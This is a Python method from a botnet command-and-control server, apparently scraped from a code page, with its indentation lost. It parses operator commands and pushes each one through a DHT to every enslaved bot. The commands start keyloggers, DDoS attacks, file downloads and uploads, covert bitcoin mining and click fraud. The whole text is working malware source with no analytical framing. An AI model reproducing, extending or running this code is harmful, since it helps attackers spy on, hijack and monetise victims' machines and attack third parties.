def parsecommands(self, line):
tmp = line.split(' ')
cmd = tmp[0].upper()
if cmd == 'KEYLOG':
# Iterate through bot list and send command out in mass.
# This can be changed depending on the command
for key, val in self.slaves.iteritems():
output = 'Starting keylogger for bot {0}\n'.format(key)
self.transport.write(output)
# actually send commands out on DHT to bot.
# Val is the bot's individual location it checks for commands
botcmd = str(self.count) + " " + cmd
self.kserver.set(val, botcmd)
if cmd == 'DDOS':
for key, val in self.slaves.iteritems():
output = 'Starting DDOS for bot {0}\n'.format(key)
self.transport.write(output)
botcmd = str(self.count) + " " + line
self.kserver.set(val, botcmd)
if cmd == 'DOWNLOAD':
for key, val in self.slaves.iteritems():
output = 'Starting DOWNLOAD for bot {0}\n'.format(key)
self.transport.write(output)
botcmd = str(self.count) + " " + line
self.kserver.set(val, botcmd)
if cmd == 'UPLOAD':
for key, val in self.slaves.iteritems():
output = 'Starting UPLOAD for bot {0}\n'.format(key)
self.transport.write(output)
botcmd = str(self.count) + " " + line
self.kserver.set(val, botcmd)
if cmd == 'BITCOIN':
print("This feature isn't fully implemented, should work "
"but highly insecure and slow")
for key, val in self.slaves.iteritems():
output = 'Starting BITCOIN MINING for bot {0}\n'.format(key)
self.transport.write(output)
botcmd = str(self.count) + " " + line
self.kserver.set(val, botcmd)
if cmd == 'CLICKFRAUD':
for key, val in self.slaves.iteritems():
output = 'Starting CLICKFRAUD for bot {0}\n'.format(key)
self.transport.write(output)
botcmd = str(self.count) + " " + line
self.kserver.set(val, botcmd)
# this is called on the initial startup as part of the LineReceiver class
评论列表
文章目录